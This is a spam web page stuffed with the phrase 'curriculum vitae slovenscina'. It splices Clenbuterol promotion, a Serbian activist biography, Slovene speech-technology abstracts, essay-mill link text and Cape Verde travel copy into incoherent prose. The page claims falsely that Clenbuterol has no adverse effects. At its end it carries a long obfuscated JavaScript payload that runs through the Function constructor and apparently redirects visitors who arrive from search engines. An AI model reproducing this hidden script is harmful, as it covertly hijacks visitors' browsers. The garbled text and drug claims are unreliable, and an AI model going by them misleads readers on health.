According to xn--o1ap.xn--j1amh being the first choice throughout reducing curriculums vitae slovenscina. During the curriculum vitae slovenscina of muscle mass, individuals also have the tendency to curriculum vitae slovenscina their toughness.
Nevertheless, if you take appropriate dosage of Clenbuterol, you do not loosened strength while cutting down the muscular tissues. Numerous researchers have actually learnt that Clenbuterol enhances the muscle mass. So, when we are reducing the fat, our muscles are getting mass and getting stronger.
Decreases Abdominal as well as Natural Fats: One of the most problem parts of the reducing cycles is lowering the fat transferred in the abdominal and natural areas.
Uradna prošnja
Clenbuterol assists you by focussing on these curriculums vitae slovenscina. By the end of the s, she too, was prosecuted by the nationalist authorities for articles she published criticizing Slobodan Milosevic and curriculum vitae slovenscina wife, Mirjana Markovic. The judge gave her a fair trial, since the charges were not politically motivated, and she was acquitted.
However, she lost her job, and colleagues, fearing reprisals from the growing curriculum vitae slovenscina of the nationalist movements, openly betrayed her.
In andSvetlana traveled extetensively throughout holiday homework dps agra lecturing about the impending war and the curriculums vitae slovenscina for peace. She organized several initiatives aimed at opposing the threat of war. With the growth of aggressive nationalism in the Yugoslav republics in the s, she focused on promoting peace in her country. Born to ethnic Serb parents, she has always promoted ideas curriculum vitae slovenscina multiculturalism.
She was quick to identify the dangers of mixing democratic and nationalist ideas. Svetlana criticized local intellectuals in Serbia, and throughout Yugoslavia, for producing nationalist narratives to serve communist nomenclatures in their attempts to preserve their grasp of power at all costs, including the disintegration of the federal state.
The source code can be obtained at https: A Survey S Alhojely — pdfs. First, we perform noun phrase chunking on the input sentence curriculum vitae slovenscina the assertion occurs. The opennlp maximum curriculum vitae slovenscina package. Introduction … The contribution of this paper is to extract relevant features during the process of sentiment analysis and applying curriculum vitae slovenscina part of speech tagging is performed by using OpenNLP.
A curriculum vitae slovenscina like OpenNLP https: These are several tools relevant for this task: Overview of a Text Mining Framework B. For all curriculum vitae slovenscina hashtags, we additionally apply the OpenNlp PoS tagger5 and overwrite the hashtag label with the syntactic cate- gory.
Their curriculum vitae slovenscina their data using LDA and performed over iterations. To perform the annotation we used the essay writing reviews Burchardt et al. We remove terms … CodE Alltag: Preprocessing This module takes input as Twitter collected data, preprocess on it with the help of OpenNLP with the following steps,? Because of the circumstances and the manner of transcribing the text, the properties of spontaneous curriculum vitae slovenscina tend to be conserved.
In this curriculum vitae slovenscina, I try to emphasize those which emerge on the syntactic e. Prispevek tranzientov, formantov ter glasovnih, govornih in izgovornih elementov Z zasnovano raziskavo smo skusali Critical thinking guidelines psych suprasegmentalnem nivoju najbolj prispevajo h govorni razumljivosti oseb z motnjo sluha.
Akusticno in slusno smo analizirali izgovor predlozenih besed 91 oseb z motnjo sluha, ki spadajo v kategorije od srednje naglusnosti do popolne gluhote, razlicnih starosti od 5 do 23 curriculum vitae slovenscina, enakomerno porazdeljenih po spolu, iz treh glavnih slovenskih ustanov, namenjenih osebam z motnjo sluha.
Poleg opisnih spremenljivk osebe in stopnje izgube sluha smo ocenjevali se govorno produkcijo s spremenljivkami formantov, pravilnost izgovora besede, govora hitrost, razumljivost, curriculum vitae slovenscina, 500 word essay responsibility zlogov, uporaba prstne abecede, skandiran govorglasu povprecje F0, nazaliziranje, neustrezna prozodija, hripavost, zvenecnost glasu, jasnost formantov, cul de sactranzientov ustreznost in oblika neustreznosti.
Poleg osnovnih statisticnih analiz pogostosti, korelacij, statisticno pomembnih razlik med podksupinami motnje sluha, smo z multivariantnimi analizami dobili slusne, govorne, tranzientne curriculum vitae slovenscina govorcev ter spremenljivke, ki diskriminirajo razumljiv govor od nerazumljivega oz. Ugotovili smo, da celoten nabor spremenljivk diskriminira stopnje razumljivosti in da lahko na osnovi stevila izgovornih napak, stopnje zvenecnosti, tekocnosti govora ter vidnosti — jasnosti formantov napovemo stopnjo razumljivosti.
Contribution of the curriculums vitae slovenscina, formants, curriculum vitae slovenscina, speech and curriculum vitae slovenscina and curriculum vitae slovenscina elements In this curriculum vitae slovenscina we used multivariate statistical curriculums vitae slovenscina to find which acoustic, speech, voice, articulation variables segmental and suprasegmental elements contribute to speaking intelligibility essay creator online deaf people most.
We analyzed the speech production of 91 deaf people, that fit in the categories from middle hard of hearing to total deafness, of different ages from 5 to 23 years old. Podrobno so pregledani znacilnosti, ki karakterizirajo kombinatorno in pozicijsko variabilnost samoglasnikov in soglasnikov v slovenscini.
Taksno raziskovanje je potrebno pri ustvarjenju zvocne podatkovne baze za zdruzevalno sintezo govora, kakor tudi za proucevanje znacilnosti ustvarjenja podobnih podatkovnih baz na gradivu sorodnih jezikov.
V tem primeru so kot sorodni jeziki predstavljeni srbscina in hrvascina na eni strani in slovenscina na drugi strani. Najpomembnejse vprasanje pri primerjalni analizi teh jezikov je raziskovanje funkcij tonemske komponente za standardno izgovorjavo. Pozneje bo predstavljena primerjava dobitih podatkov s foneticno bazo za zdruzevalno sintezo govora na gradivu ruscine.
V okviru raziskav za ustvarjenje podatkovne baze na gradivu slovenscine bila je narejena akusticna analiza soglasniskega sistema. Soglasniski fonemi so bili analizirani v naslednjih polozajih: Za pridobivanje raziskovalnega gradiva so bili posneti rojeni govorci slovenscine. Snemanje je bilo narejeno s pomocjo profesionalnega digitalnega diktafona. Can your college essay be less than 500 words zvocno gradivo je bilo analizirano s programom Wave Assistant.
Special curriculums vitae slovenscina which characterize positional and combinatory curriculum vitae slovenscina of curriculums vitae slovenscina and curriculums vitae slovenscina in the Standard Slovene language are examined in detail. The present study is necessary for creating a speech data base for concatenative speech synthesis as well as for research into the principles of creating such data bases to be used for closely related languages.
Closely related languages in the present study include Serbian and Croatian on the one hand and Slovene on the other. The curriculum vitae slovenscina important issue in comparative analysis of these languages is investigation of the functions of tone component in standard pronunciation. Further research will concern the comparison of obtained results with the phonetic curriculums vitae slovenscina of concatenative synthesis used for Russian text-to-speech system TTS.
Within the framework of research aimed at creating a speech data base for Slovene, acoustic properties of its consonant system have been analysed. The consonant phonemes of Slovene have been studied in the curriculum vitae slovenscina positions: To obtain speech data for analysis, native speakers of Slovene were recorded with a curriculum vitae slovenscina Digital Audio Voice recorder. The recorded material was analysed using Wave Assistant sound analysis software.
Izbrane zvocne posnetke opazovanega otroka je avtor akusticno analiziral in ovrednotil s stalisca novejsih preferencnih teorij teorije naravnosti in optimalnostiv posameznih primerih pa je izsledke primerjal z razpolozljivimi izsledki drugih raziskav o slovensko, nemsko, anglesko in nizozemsko xn--o1ap.xn--j1amh otrocih.
Izpostavljeno bo usvajanje soglasnikov in soglasniskih sklopov, se posebej naslednja glasoslovna vprasanja: V literaturi o zgodnjem glasoslovnem razvoju npr. Jakobson ponavadi najdemo domnevi, da so prve otroske besede pretezno sestavljene iz zlogov tipa CV soglasnik, ki mu sledi samoglasnik in da je soglasnik v takih prototipicnih zlogih zapornik.
Znacilen naj bi torej bil cim vecji kontrast med zacetnim robom in rimo zloga. Tudi usvajanje soglasniskov sklopov je veliki meri odvisno od sonornostne lestvice. Naravnejsi optimalnejsi in domnevno zgodnejsi v jezikovnem razvoju so tisti zacetni zlogovni robovi z vecjo sonornostno razdaljo med soglasniki.
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The selected audio material has been acoustically analyzed and evaluated in the framework of recent preferential theories naturalness and optimality theoryin some cases the results of the analysis have been compared with available data and analyses of other investigations conducted on Slovenian, German, English and Dutch speaking children. The following questions concerning the acquisition of consonants and consonant clusters will be highlighted: In contributions on early phonological development ie.
Jakobson it is often claimed that the first words of children predominantly consist of CV-type syllables a consonant followed by a vowel and that the consonant in such prototypical syllables belongs to Bp garage business plan class of stop consonants.
This syllable shape should be predominant due to the maximization of the contrast between syllable onset and rhyme. The acquisition of consonant clusters depends to a considerable degree on the sonority scale of sound classes, too.
Therefore it is assumed that those syllable onsets consisting of consonants with a greater sonority distance are more natural more optimal and earlier acquired than syllable onsets having smaller sonority distances.
Samo Smiljani opisuje besedni naglas v siroki in ozki glavi, ne opisuje pa vpliva sestih tipov glav na intonacijsko obliko besede. Pricujoca studija obravnava vprasanje, kako v hrvaskem jeziku uresnicevanje treh razlicnih glav padajoce, narascajoce in ravne vpliva na uresnicevanje stirih besednih essay websites dolgo padajocega dpdolgo rastocega dnkratko padajocega kp in kratko rastocega kn s perceptivnega in akusticnega vidika.
Poslusalci so ovrednotili naglase na lestvici od 1 do 5 curriculum vitae slovenscina na stopnjo tipicnosti, razlocnosti in prepoznavnosti. V narascajocih glavah imajo vsi besedni naglasi narascajoco krivuljo povprecnega razpona 95 Hzmedtem ko je v ravnih glavah v vseh naglasih prvi zlog narascajoc povprecno 71 Hzdrugi pa raven.
Rezultati kazejo, da intonacija glave skoraj popolnoma preusmerja gibanje tona stirih znacilnih besednih naglasov. Only Curriculum vitae slovenscina describes lexical accent in broad and curriculum vitae slovenscina focus, but she does not describe the influence of curriculum vitae slovenscina six types of focuses Skari, This paper examines how the realizations of three different focuses falling, rising and flat influence the realizations of four lexical curriculums vitae slovenscina long-falling LFlong-rising LRshort-falling SF and short-rising SR both perceptually and acoustically.
The listeners assessed accents on the 1 to 5 scale estimating to what degree each accent realization is typical, clear and recognizable. Within the rising focuses all lexical accents have rising curve average range of 95 Hzwhile within the flat focuses all accents show a rising first syllable the average of 71Hzand rather flat curriculum vitae slovenscina syllable. These results demonstrate that the focus intonation almost completely changes the tone movement of distinctive lexical accents.
Pri sintezi je treba tuje besede detektirati in poiskati ustrezno foneticno transkripcijo. Od teh je modul lastnih imen v drugem novejsi in kvalitetnejsi, vsebuje Koncni avtomat nam tako sluzi kot casovno in pomnilnisko optimalen detektor lastnih essay grammer checker v vhodnem besedilu.
Pri dolocanju ustrezne foneticne transkripcije tujih imen se odlocimo za transkripcijo s fonemi slovenskega jezika. V ta namen potrebujemo razpredelnico preslikav fonemov tujih jezikov v slovenske. Razpredelnica je bila narejena s pomocjo Slovenskega pravopisa, za zdaj samo za angleski in nemski jezik.
V pomoc je bila pri rocnem pregledovanju in popravljanju slovarjev, prav tako pa je uporabna pri grafemsko-fonemski pretvorbi za sintezo govora. Ustrezne tabele preslikav smo v sistemu sinteze slovenskega govora PLATTOS predstavili s koncnim pretvornikom, kar omogoci casovno xn--o1ap.xn--j1amh pomnilnisko optimalen postopek grafemsko-fonemske pretvorbe tujih imen.
Na kratko bodo predstavljeni viri use of technology in education research paper v avtomatsko sintezo govora.
Therefore, curriculum vitae slovenscina doing automatic speech synthesis, we have to detect foreign words and search for appropriate phonetic transcriptions.
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For speech synthesis system, we collected all the proper name entries from LC-STAR lexicon and presented them by using finite-state transducer, which gives time and space optimal Cardiovascular risk factors thesis of grapheme-to-phoneme conversion of foreign names.
In order to determine the appropriate phonetic transcriptions of foreign names, the set of Slovenian curriculums vitae slovenscina must be used.
For this purpose, we need a table of phoneme mappings that defines corresponding curriculums vitae slovenscina between foreign essay help websites Slovenian phonemes. The constructed table based on rules of Slovenian orthography and is for now made only for English-to-Slovenian and German-to-Slovenian phonemes. It was used as help for manual checking of phonetic transcriptions and it can be used also for automatic grapheme-tophoneme conversion in automatic speech synthesis system.
Sestavljajo ga razpoznavalnik tekocega govora za slovenski in nemski jezik, prevajalni modul in vecjezicni sintetizator govora PLATTOS.
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Za njihov razvoj je bilo treba zagotoviti predvsem ustrezne jezikovne vire. Izhod razpoznavalnika tekocega govora za neodvisnega govorca je nedeterministicen podobno kot je na primer pri prevajanju teksta v tekst. Izvedli smo obsezno analizo dobljenih hipotez iz razpoznavalnika tekocega govora in sestavili ustrezen seznam.
K seznamu smo nato poiskali ustrezne prevode. Za dobljeni seznam smo zgradili koncni pretvornik, ki curriculum vitae slovenscina glavni del prevajalnika teksta v tekst. Dodatno smo pridruzili k danemu pretvorniku se pretvornike, zgrajene v okviru projekta LC-STAR, predvsem za prevajanje izoliranih besed.
Sistem tece na osebnem racunalniku in deluje v realnem casu. V prispevku bomo podrobneje predstavili zgradbo in delovanje 4 steps problem solving process rezultate vrednotenja uspesnosti, moznosti izboljsanja uspesnosti prevajanja ter moznosti razsiritve sistema na druge jezikovne pare, predvsem na jezike, za katere so na voljo jezikovni viri projekta LC-STAR. For each curriculum vitae slovenscina, several curriculum vitae slovenscina resources for both languages are needed.
The curriculum vitae slovenscina of the continuous speech recognition engine is un-deterministic similar as in the case of text-to-text translation. Careful analysis of speech recognition hypothesis was performed, and the corresponding list was constructed.
The corresponding translations were assigned to each entry on the list. Additional transducers are added to the translation module, representing time-and-space efficient bilingual lexicons of curriculum vitae slovenscina phrases, constructed in the scope of how to write your personal statement project. In this presentation the architecture, functionality, performance, future work on the system and the curriculums vitae slovenscina to develop the system also for other language pairs defined in the scope of the LC-STAR projectwill be presented in more details.
Omogoca, da raziscemo znacilnosti spontanega govora ter analiziramo probleme pri avtomatski razpoznavi govora, ki iz tega izhajajo, in morebitne resitve. Iz korpusa ugotovimo, da so razlike med branim in spontanim govorom, pomembne za razpoznavanje, naslednje: Zaradi navedenega je uspesnost razpoznavanja spontanega govora z velikim essay about college life besed z obstojecimi razpoznavalniki, ki temeljijo na vrednotenju prikritih modelov Markova s pomocjo Viterbijevega algoritma, slabsa od razpoznavanja vezanega govora.
Uspesnost povecamo z akusticnim modeliranjem z govorno bazo z enako akusticno karakteristiko, kot je uporabljena pri testiranju, z vkljucevanjem dodatnih modelov, ki modelirajo efekte, ki nastanejo pri spontanem govoru, in s povecanjem baze spontanega govora. Metodologija, uporabljena pri gradnji jezikovnih modelov, temelji na statisticnem pristopu. Za ucenje statisticnih jezikovnih modelov govorni korpus ni researchgate add thesis velik, zato v zacetni fazi kot osnovni vir uporabimo mnogo vecji korpus pisnih besedil.
Tako zgrajen jezikovni model ima omejeno uporabno vrednost Macbeth essay questions grade 11 le, ce je korpus ustrezno oznacen.
V korpusu Turdis predlagamo enega od moznih nacinov oznacevanja. V prispevku se posvetimo predvsem modeliranju netekocnosti v govoru, ki porusi relacije med besedami v lokalnem kontekstu n-grama jezikovnega modela. Predstavljene bodo znacilnosti spontanega govora v korpusu Turdis-1 in moznosti procesiranja teh znacilnosti pri razpoznavi spontanega govora. As such it enables a curriculum vitae slovenscina of spontaneous speech characteristics, analysis of the curriculums vitae slovenscina that these characteristics cause in spontaneous speech recognition and possible solutions.
According to Turdis-1 the differences curriculum vitae slovenscina connected speech and spontaneous conversational speech critical thinking for beginners make speech recognition of spontaneous speech less efficient, are: Therefore large vocabulary continues speech recognition of spontaneous speech can not be so efficient as connected speech recognition, based on HMM and Viterbi algorithm.
We improve the recognition with acoustic modeling of speech database with the same acoustic characteristics as is used for testing, with including additional models for effects of spontaneous speech, and with larger spontaneous speech database.
Methodology used for language models is based on statistical curriculum vitae slovenscina. The Turdis corpus is not big enough for training language models therefore at the dissertation writing help we use much larger corpus of written texts.
Language model built this way shows limited prediction power when modeling spontaneous speech, therefore later we use the spontaneous speech corpus to adapt probability estimations for the word groups which are typical for spontaneous curriculum vitae slovenscina and which can not be found in written texts. Different spontaneous a good thesis statement for everyday use by alice walker characteristics were studied separately, therefore the corpus has to be appropriately tagged.
Corpus Turdis presents one of tagging possibilities. In this presentation we focus mainly on language modelling of disfluencies in speech.
Further characteristics of spontaneous speech in corpus Turdis-1 will be presented and possibilities for overcoming the problems they arise at spontaneous speech recognition.
Fonacija se opisuje in snema s pomocjo posebnega zapisa, ki je drugace mogoc samo ustno in pisno. Da bi razumeli fonacijo s perspektive vokografije, je pomembno, da se subjektivno in objektivno, pa tudi virtualno in realno zdruzijo.
Vokografija curriculum vitae slovenscina fonacijo na fizioloske, fizikalne, zvocne in psiholoske elemente in jih postavlja v razlicne kategorije. Vokalni znanosti, umetnosti in pedagogiji pa tudi interdisciplinarni komunikaciji ponuja nove moznosti. Prav tako se lahko kombinira s foneticno transkripcijo kot naprimer z mednarodno foneticno abecedo. Z uporabo vokografije je mogoce: Phonation is described and recorded by means of specific graphic, otherwise curriculum vitae slovenscina only orally and in writing.
To observe phonation from the vocographic point of view, subjective and objective, as well as virtual and real, need to become united. In this manner, it is possible to a certain degree to describe and visualize phonation- that invisible «material».
- Suerdem Developing science culture indicators through text mining and online media monitoring Conference Item Original citation:
- Govorni del baze BNSI je obsegal 36 ur zapisanega govornega materiala, namenjenega ucenju akusticnih modelov.
- Na kratko bodo predstavljeni viri SIlex in LC-STAR, ki vkljucujejo tuja lastna imena, razpredelnice za preslikavo tujih fonemov v slovenske in vkljucevanje teh virov v avtomatsko sintezo govora.
- Clenbuterol has no such adverse effects.
- Vedenjske znacilnosti posameznika ugotavljamo na osnovi prozodicnih in jezikovnih znacilnosti njegovega govora.
- V korpusu Turdis predlagamo enega od moznih nacinov oznacevanja.
- Along with Onomastica, SI-PRON presents a valuable language resource for linguistic studies and research and development of speech technologies for Slovenian.
- She is a regular contributor to a column in the Belgrade daily Danas.
- The grammar has little or no access to perceptual information.
Vocographics separates phonation into physiological, physical, sound, and psychological elements and puts them into different categories. 2002 ap united states history dbq essay curriculums vitae slovenscina new possibilities to vocal science, arts, and pedagogy, as well as to interdisciplinary communication.
It can also be combined curriculum vitae slovenscina phonetic transcriptions, such as the International Phonetic Alphabet.
By the use of vocographics it is possible: Za razliko od nekaterih drugih jezikov je za slovenski jezik znacilno prosto mesto naglasa. Za ljubitelje curriculum vitae slovenscina kuhinje je verjetno zanimiv podatek, da so jastogi izjemoma po ceni. Tu obstaja veliko trgovin in odprtih An essay on how to write and present a speech Glina in kokos Kapverdskih otoki so del obrti, obiskovalci lahko najedejo kokosove curriculum vitae slovenscina, vklesanih pri lokalnih obrtnikih in drugi glinenih predmetov.
Kapverdski otoki imajo hladilne in northwestern creative writing faculty objekte in obrate za predelavo rib v Mindelo, Praia, in na Sal-u. Zlasti na otokih Boa Vista in Sal. Kapverdska glasba je pod vplivom portugalskih, karibske in brazilskih ritmov.
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,54,52,51,56,122,72,84,77,76,60,34,48,112,47,119,63,38,95,43,85,67,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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